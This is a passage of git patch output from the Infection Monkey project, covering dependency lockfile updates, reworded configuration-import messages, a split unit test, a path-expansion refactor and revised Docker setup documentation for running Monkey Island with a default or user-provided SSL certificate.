"sha256:96c2e68385f3848d58f19b2975a675532abdb65c8fa5f04d94b95b27b6b1ffa7", - "sha256:9c7044dbbf8c58420a9ef4ed6901f5a8b7698d90cd984d7f57a18c78474686f6", - "sha256:a1937efed7e3fe0ee74630e1960df887d8aa83c571e1cf4db9d15b9c181d457d", - "sha256:a38c10423a475a1658e2cb8f52cf84ec20a4c0adff724dd43a6b45183f499bc1", - "sha256:a413c424199bcbab71bf5fa7538246f27177fbd6dd74b2d9c5f34878658807f8", - "sha256:b18a855f8504743e0a2d8b75d008c7720d44e4c76687e13f959e35d9a13eb397", - "sha256:b4d59ab3608538e550a72cea13d3c209dd72b6e19e832688da7884081c01594e", - "sha256:b51d3f1cd87f488455f43046d72003689024b0fa9b2d53635db7523033b19996", - "sha256:c02105deda867d09cdd5088d08708f06d75759df6f83d8f7007b06f422908a30", - "sha256:c7b6032dc4490b0dcaf078f09f5b382dc35493cb7f473840368bf0de3196c2b6", - "sha256:c95b355dba2aaf5177dff943b25ded0529a7feb80021d5fdb114a99f0a1ef508", - "sha256:c980ae87863d76b1ea9a073d6d95554b4135032d34bc541be50c07d4a085821b", - "sha256:d12895cd083e35e9e032eb4b57645b91116f8979527381a8d864d1f6b8cb4a2e", - "sha256:d3cd9bad547a8e5fbe712a1dc1413aff1b917e8d39a2cd1389a6f933b7a21460", - "sha256:e8809b01f27f679e3023b9e2013051e0a3f17abff4228cb5197663afd8a0f2c7", - "sha256:f3c37b0dc1898e305aad4f7a1d75f6da83036588c28a9ce0afc681ff5245a601", - "sha256:f966765f54b536e791541458de84a737a6adba8467190f17a8fe7f85354ba908", - "sha256:fa939c2e2468142c9773443d4038e7c915b0cc1b670d3c9192bdc503f7ea73e9", - "sha256:fcc5c1f95102989d2e116ffc8467963554ce89f30a65a3ea86a4d06849c498d8" + "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", + "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", + "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", + "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", + "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", + "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", + "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", + "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", + "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", + "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", + "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", + "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", + "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", + "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", + "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", + "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", + "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", + "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", + "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", + "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", + "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", + "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", + "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", + "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", + "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", + "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", + "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", + "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", + "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", + "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", + "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", + "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", + "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", + "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", + "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", + "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", + "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", + "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", + "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", + "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", + "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", + "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", + "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", + "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", + "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", + "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", + "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", + "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", + "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", + "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", + "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==5.3.0" + "version": "==5.4.0" } }, "develop": { @@ -1048,11 +1082,11 @@ }, "attrs": { "hashes": [ - "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6", - "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700" + "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", + "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==20.3.0" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==21.2.0" }, "black": { "hashes": [ @@ -1063,10 +1097,10 @@ }, "certifi": { "hashes": [ - "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c", - "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830" + "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee", + "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8" ], - "version": "==2020.12.5" + "version": "==2021.5.30" }, "chardet": { "hashes": [ @@ -1078,18 +1112,18 @@ }, "click": { "hashes": [ - "sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a", - "sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc" + "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a", + "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==7.1.2" + "markers": "python_version >= '3.6'", + "version": "==8.0.1" }, "colorama": { "hashes": [ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version != '3.4'", + "markers": "python_version != '3.4' and sys_platform == 'win32' and platform_system == 'Windows'", "version": "==0.4.3" }, "coverage": { @@ -1152,10 +1186,10 @@ }, "distlib": { "hashes": [ - "sha256:8c09de2c67b3e7deef7184574fc060ab8a793e7adbb183d942c389c8b13c52fb", - "sha256:edf6116872c863e1aa9d5bb7cb5e05a022c519a4594dc703843343a9ddd9bff1" + "sha256:106fef6dc37dd8c0e2c0a60d3fca3e77460a48907f335fa28420463a6f799736", + "sha256:23e223426b28491b1ced97dc3bbe183027419dfc7982b4fa2f05d5f3ff10711c" ], - "version": "==0.3.1" + "version": "==0.3.2" }, "dlint": { "hashes": [ @@ -1189,11 +1223,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:2ec0faae539743ae6aaa84b49a169670a465f7f5d64e6add98388cc29fd1f2f6", - "sha256:c9356b657de65c53744046fa8f7358afe0714a1af7d570c00c3835c2d724a7c1" + "sha256:833b26fb89d5de469b24a390e9df088d4e52e4ba33b01dc5e0e4f41b81a16c00", + "sha256:b142cc1dd1342f31ff04bb7d022492b09920cb64fed867cd3ea6f80fe3ebd139" ], "markers": "python_version < '3.8'", - "version": "==3.10.1" + "version": "==4.5.0" }, "iniconfig": { "hashes": [ @@ -1289,19 +1323,19 @@ }, "pytest": { "hashes": [ - "sha256:671238a46e4df0f3498d1c3270e5deb9b32d25134c99b7d75370a68cfbe9b634", - "sha256:6ad9c7bdf517a808242b998ac20063c41532a570d088d77eec1ee12b0b5574bc" + "sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b", + "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890" ], "index": "pypi", - "version": "==6.2.3" + "version": "==6.2.4" }, "pytest-cov": { "hashes": [ - "sha256:359952d9d39b9f822d9d29324483e7ba04a3a17dd7d05aa6beb7ea01e359e5f7", - "sha256:bdb9fdb0b85a7cc825269a4c56b48ccaa5c7e365054b6038772c32ddcdc969da" + "sha256:261bb9e47e65bd099c89c3edf92972865210c36813f80ede5277dceb77a4a62a", + "sha256:261ceeb8c227b726249b376b8526b600f38667ee314f910353fa318caa01f4d7" ], "index": "pypi", - "version": "==2.11.1" + "version": "==2.12.1" }, "regex": { "hashes": [ @@ -1373,11 +1407,11 @@ }, "six": { "hashes": [ - "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259", - "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" ], "index": "pypi", - "version": "==1.15.0" + "version": "==1.16.0" }, "toml": { "hashes": [ @@ -1424,12 +1458,12 @@ }, "typing-extensions": { "hashes": [ - "sha256:7cb407020f00f7bfc3cb3e7881628838e69d8f3fcab2f64742a5e76b2f841918", - "sha256:99d4073b617d30288f569d3f13d2bd7548c3a7e4c8de87db09a9d29bb3a4a60c", - "sha256:dafc7639cde7f1b6e1acc0f457842a83e722ccca8eef5270af2d74792619a89f" + "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", + "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", + "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" ], "markers": "python_version < '3.8'", - "version": "==3.7.4.3" + "version": "==3.10.0.0" }, "urllib3": { "hashes": [ @@ -1441,11 +1475,11 @@ }, "virtualenv": { "hashes": [ - "sha256:49ec4eb4c224c6f7dd81bb6d0a28a09ecae5894f4e593c89b0db0885f565a107", - "sha256:83f95875d382c7abafe06bd2a4cdd1b363e1bb77e02f155ebe8ac082a916b37c" + "sha256:14fdf849f80dbb29a4eb6caa9875d476ee2a5cf76a5f5415fa2f1606010ab467", + "sha256:2b0126166ea7c9c3661f5b8e06773d28f83322de7a3ff7d06f0aed18c9de6a76" ], "index": "pypi", - "version": "==20.4.3" + "version": "==20.4.7" }, "vulture": { "hashes": [ From 04a35a1e36e512b52b45beaab5ce1271c9c8f607 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 7 Jun 2021 11:41:28 +0300 Subject: [PATCH 0689/1360] Improved wording in configuration export related logs and UI --- monkey/monkey_island/cc/resources/configuration_import.py | 2 +- monkey/monkey_island/cc/services/utils/config_encryption.py | 2 +- .../components/configuration-components/ExportConfigModal.tsx | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 40413c3f50a..d9d39a3f80e 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -63,7 +63,7 @@ def post(self): return ResponseContents( import_status=ImportStatuses.INVALID_CONFIGURATION, message="Invalid configuration supplied. " - "Maybe the format is outdated or the file is corrupted.", + "Maybe the format is outdated or the file has been corrupted.", ).form_response() except NoCredentialsError: return ResponseContents( diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 45a31c5b1c7..49f5cc18789 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -50,7 +50,7 @@ def decrypt_config(cyphertext: str, password: str) -> Dict: logger.info("Wrong password for configuration provided.") raise InvalidCredentialsError else: - logger.info("Configuration is corrupted.") + logger.info("The provided configuration file is corrupt.") raise ex plaintext_config = json.loads(dec_plaintext_config_stream.getvalue().decode("utf-8")) return plaintext_config diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index 3457555c4b0..d30438cbd6c 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -119,7 +119,7 @@ const ExportPlaintextChoiceField = (props: { />

    Configuration may contain stolen credentials or sensitive data.
    - It is advised to use the Encrypt with a password option. + It is recommended that you use the Encrypt with a password option.

    ) From abaeafcb6bef9a124ad8aee713c88f1035a7c197 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 7 Jun 2021 11:43:44 +0300 Subject: [PATCH 0690/1360] Split one unit test test_encrypt_decrypt_config__malformed into two, one for too short configuration, another one for corrupted file. --- .../cc/services/utils/test_config_encryption.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py index 14d8d6b165a..de80db203c8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -36,9 +36,12 @@ def test_encrypt_decrypt_config__wrong_password(plaintext_config): decrypt_config(encrypted_config, INCORRECT_PASSWORD) -def test_encrypt_decrypt_config__malformed(): +def test_encrypt_decrypt_config__malformed_too_short(): with pytest.raises(ValueError): decrypt_config(MALFORMED_CYPHER_TEXT_TOO_SHORT, PASSWORD) + + +def test_encrypt_decrypt_config__malformed_corrupted(): with pytest.raises(ValueError): decrypt_config(MALFORMED_CYPHER_TEXT_CORRUPTED, PASSWORD) From 2b1af17433b5422bdbd975288ffbdb4ec02fbc15 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 06:39:05 -0400 Subject: [PATCH 0691/1360] island: Add typehint to create_default_server_config_file() Co-authored-by: Shreya Malviya --- monkey/monkey_island/cc/environment/server_config_handler.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/environment/server_config_handler.py b/monkey/monkey_island/cc/environment/server_config_handler.py index b2f4883c00d..363b7c2e60f 100644 --- a/monkey/monkey_island/cc/environment/server_config_handler.py +++ b/monkey/monkey_island/cc/environment/server_config_handler.py @@ -6,7 +6,7 @@ from monkey_island.cc.setup.island_config_options import IslandConfigOptions -def create_default_server_config_file(data_dir) -> None: +def create_default_server_config_file(data_dir: str) -> str: config_file_path = os.path.join(data_dir, SERVER_CONFIG_FILENAME) if not os.path.isfile(config_file_path): write_default_server_config_to_file(config_file_path) From 8c1e76ffbed8b1a1389ee099452b93866bed69d2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 09:54:09 -0400 Subject: [PATCH 0692/1360] docs: Reword docker supported operating systems --- docs/content/setup/docker.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 7cee1e6fe36..341969ed6c2 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -7,6 +7,10 @@ weight: 4 tags: ["setup", "docker", "linux", "windows"] --- +## Supported operating systems + +The Infection Monkey Docker container works on Linux only. It is not compatible with Docker for Windows or Docker for Mac. + ## Deployment ### Linux @@ -25,10 +29,6 @@ sudo docker run --name monkey-island --network=host -d guardicore/monkey-island: Wait until the Island is done setting up and it will be available on https://localhost:5000 -### Windows and Mac OS X - -Not supported yet, since docker doesn't support `--network=host` parameter on these OS's. - ## Upgrading Currently, there's no "upgrade-in-place" option when a new version is released. From 16ed2e59e8078c6245de620fbe8a3002561265f7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 09:56:02 -0400 Subject: [PATCH 0693/1360] docs: Add steps for user-provided certificate for docker container --- docs/content/setup/docker.md | 127 ++++++++++++++++++++++++++++++----- 1 file changed, 112 insertions(+), 15 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 341969ed6c2..50b19593252 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -13,21 +13,118 @@ The Infection Monkey Docker container works on Linux only. It is not compatible ## Deployment -### Linux - -To extract the `tar.gz` file, run `tar -xvzf monkey-island-docker.tar.gz`. - -Once you've extracted the container from the tar.gz file, run the following commands: - -```sh -sudo docker load -i dk.monkeyisland.1.10.0.tar -sudo docker pull mongo:4.2 -sudo mkdir -p /var/monkey-mongo/data/db -sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo:4.2 -sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:1.10.0 -``` - -Wait until the Island is done setting up and it will be available on https://localhost:5000 +### 1. Load the docker images +1. Pull the MongoDB v4.2 Docker image: + + ```bash + sudo docker pull mongo:4.2 + ``` + +1. Extract the Monkey Island Docker tarball: + + ```bash + tar -xvzf monkey-island-docker.tar.gz + ``` + +1. Load the Monkey Island Docker image: + + ```bash + sudo docker load -i dk.monkeyisland.1.10.0.tar + ``` + +### 2. Start MongoDB + +1. Start a MongoDB Docker container: + + ```bash + sudo docker run \ + --name monkey-mongo \ + --network=host \ + --volume db:/data/db \ + --detach mongo:4.2 + ``` + +### 3a. Start Monkey Island with default certificate + +By default, Infection Monkey comes with a [self-signed SSL certificate](https://aboutssl.org/what-is-self-sign-certificate/). In +enterprise or other security-sensitive environments, it is recommended that the +user [provide Infection Monkey with a +certificate](#3b-start-monkey-island-with-user-provided-certificate) that has +been signed by a private certificate authority. + +1. Run the Monkey Island server + ```bash + sudo docker run \ + --name monkey-island \ + --network=host \ + guardicore/monkey-island:1.10.0 + ``` + +### 3b. Start Monkey Island with User-Provided Certificate + +1. Create a directory named `monkey_island_data`. This will serve as the + location where Infection Monkey stores its configuration and runtime + artifacts. + + ```bash + mkdir ./monkey_island_data + ``` + +1. Run Monkey Island with the `--setup-only` flag to populate the `./monkey_island_data` directory with a default `server_config.json` file. + + ```bash + sudo docker run \ + --rm \ + --name monkey-island \ + --network=host \ + --user $(id -u ${USER}):$(id -g ${USER}) \ + --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ + guardicore/monkey-island:1.10.0 --setup-only + ``` + +1. (Optional but recommended) Copy your `.crt` and `.key` files to `./monkey_island_data`. + +1. Make sure that your `.crt` and `.key` files are read-only and readable only by you. + + ```bash + chmod 400 ./monkey_island_data/{*.key,*.crt} + ``` + +1. Edit `./monkey_island_data/server_config.json` to configure Monkey Island + to use your certificate. Your config should look something like this: + + ```json {linenos=inline,hl_lines=["11-14"]} + { + "data_dir": "/monkey_island_data", + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "docker" + }, + "mongodb": { + "start_mongodb": false + }, + "ssl_certificate": { + "ssl_certificate_file": "", + "ssl_certificate_key_file": "", + } + } + ``` + +1. Start the Monkey Island server: + + ```bash + sudo docker run \ + --name monkey-island \ + --network=host \ + --user $(id -u ${USER}):$(id -g ${USER}) \ + --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ + guardicore/monkey-island:1.10.0 + ``` + +### 4. Accessing Monkey Island + +After the Monkey Island docker container starts, you can access Monkey Island by pointing your browser at `https://localhost:5000`. ## Upgrading From 6c04124303b402a87109fdd7f1c09f1fdf8854c9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 09:56:52 -0400 Subject: [PATCH 0694/1360] docs: Add `--volume` workaround to docker troubleshooting Resolves #1032 --- docs/content/setup/docker.md | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 50b19593252..e325de0027e 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -140,12 +140,27 @@ using the *Export config* button and then import it to the new Monkey Island. ## Troubleshooting ### The Monkey Island container crashes due to a 'UnicodeDecodeError' -`UnicodeDecodeError: 'utf-8' codec can't decode byte 0xee in position 0: invalid continuation byte` -You may encounter this error because of the existence of different MongoDB keys in the `monkey-island` and `monkey-mongo` containers. +You will encounter a `UnicodeDecodeError` if the `monkey-island` container is +using a different secret key to encrypt sensitive data than was initially used +to store data in the `monkey-mongo` container. -Starting a new container from the `guardicore/monkey-island:1.10.0` image generates a new secret key for storing sensitive information in MongoDB. If you have an old database instance running (from a previous run of Monkey), the key in the `monkey-mongo` container is different than the newly generated key in the `monkey-island` container. Since encrypted data (obtained from the previous run) is stored in MongoDB with the old key, decryption fails and you get this error. +``` +UnicodeDecodeError: 'utf-8' codec can't decode byte 0xee in position 0: invalid continuation byte +``` -You can fix this in two ways: +Starting a new container from the `guardicore/monkey-island:1.10.0` image +generates a new secret key for storing sensitive information in MongoDB. If you +have an old database instance running (from a previous instance of Infection +Monkey), the data stored in the `monkey-mongo` container has been encrypted +with a key that is different from the one that Monkey Island is currently +using. When MongoDB attempts to decrypt its data with the new key, decryption +fails and you get this error. + +You can fix this in one of three ways: 1. Instead of starting a new container for the Monkey Island, you can run `docker container start -a monkey-island` to restart the existing container, which will contain the correct key material. -2. Kill and remove the existing MongoDB container, and start a new one. This will remove the old database entirely. Then, start the new Monkey Island container. +1. Kill and remove the existing MongoDB container, and start a new one. This will remove the old database entirely. Then, start the new Monkey Island container. +1. When you start the Monkey Island container, use `--volume + monkey_island_data:/monkey_island_data`. This will store all of Monkey + Island's runtime artifacts (including the encryption key file) in a docker + volume that can be reused by subsequent Monkey Island containers. From 82c3273e698e3f3dc48fc41bc5d1bae9d1477ec8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Jun 2021 10:37:06 -0400 Subject: [PATCH 0695/1360] docs: Fix minor capitalization issue in docker setup --- docs/content/setup/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index e325de0027e..4d05b9b1a81 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -60,7 +60,7 @@ been signed by a private certificate authority. guardicore/monkey-island:1.10.0 ``` -### 3b. Start Monkey Island with User-Provided Certificate +### 3b. Start Monkey Island with user-provided certificate 1. Create a directory named `monkey_island_data`. This will serve as the location where Infection Monkey stores its configuration and runtime From 227039f30c18dba82993ed6a3bd3bbc7da2907c5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 7 Jun 2021 19:44:42 +0530 Subject: [PATCH 0696/1360] Add `_expand_path()` to wrap `os.path.expandvars()\' and `os.path.expanduser()\' --- .../cc/setup/island_config_options.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index e8a0f7016cf..66415994408 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -13,8 +13,8 @@ class IslandConfigOptions: def __init__(self, config_contents: dict): - self.data_dir = os.path.expandvars( - os.path.expanduser(config_contents.get("data_dir", DEFAULT_DATA_DIR)) + self.data_dir = IslandConfigOptions._expand_path( + config_contents.get("data_dir", DEFAULT_DATA_DIR) ) self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL) @@ -23,9 +23,13 @@ def __init__(self, config_contents: dict): "mongodb", {"start_mongodb": DEFAULT_START_MONGO_DB} ).get("start_mongodb", DEFAULT_START_MONGO_DB) - self.crt_path = os.path.expandvars( - os.path.expanduser(config_contents.get("cert_path", DEFAULT_CRT_PATH)) + self.crt_path = IslandConfigOptions._expand_path( + config_contents.get("cert_path", DEFAULT_CRT_PATH) ) - self.key_path = os.path.expandvars( - os.path.expanduser(config_contents.get("key_path", DEFAULT_KEY_PATH)) + self.key_path = IslandConfigOptions._expand_path( + config_contents.get("key_path", DEFAULT_KEY_PATH) ) + + @staticmethod + def _expand_path(path: str) -> str: + return os.path.expandvars(os.path.expanduser(path)) From 2b73ec75c8c57ed2716410773c881c157a429f05 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 7 Jun 2021 19:59:09 +0530 Subject: [PATCH 0697/1360] Move monkey_island/cc/setup/certificate/certificate_setup.py to monkey/monkey_island/cc/setup/certificate_setup.py --- monkey/monkey_island/cc/server_setup.py | 2 +- .../cc/setup/{certificate => }/certificate_setup.py | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename monkey/monkey_island/cc/setup/{certificate => }/certificate_setup.py (100%) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index faec1ec96aa..61c6d19c84a 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -27,8 +27,8 @@ from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 +from monkey_island.cc.setup.certificate_setup import setup_certificate # noqa: E402 from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 -from monkey_island.cc.setup.certificate.certificate_setup import setup_certificate # noqa: E402 from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 from monkey_island.cc.setup.mongo.mongo_setup import ( # noqa: E402 MONGO_URL, diff --git a/monkey/monkey_island/cc/setup/certificate/certificate_setup.py b/monkey/monkey_island/cc/setup/certificate_setup.py similarity index 100% rename from monkey/monkey_island/cc/setup/certificate/certificate_setup.py rename to monkey/monkey_island/cc/setup/certificate_setup.py From 42a9a798006d2709c24e881961b1c8e3b2c2d01d Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 7 Jun 2021 20:07:07 +0530 Subject: [PATCH 0698/1360] Modify server_config.json ssl cert fields --- monkey/monkey_island/cc/server_setup.py | 1 + monkey/monkey_island/cc/server_utils/consts.py | 5 +++++ monkey/monkey_island/cc/setup/island_config_options.py | 9 +++++++-- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 61c6d19c84a..fbd61982a98 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -99,6 +99,7 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) http_server = WSGIServer( ("0.0.0.0", env_singleton.env.get_island_port()), app, + # TODO: modify next two lines? certfile=os.environ.get("SERVER_CRT", crt_path), keyfile=os.environ.get("SERVER_KEY", key_path), ) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 333008c6d2a..9149d81b165 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ 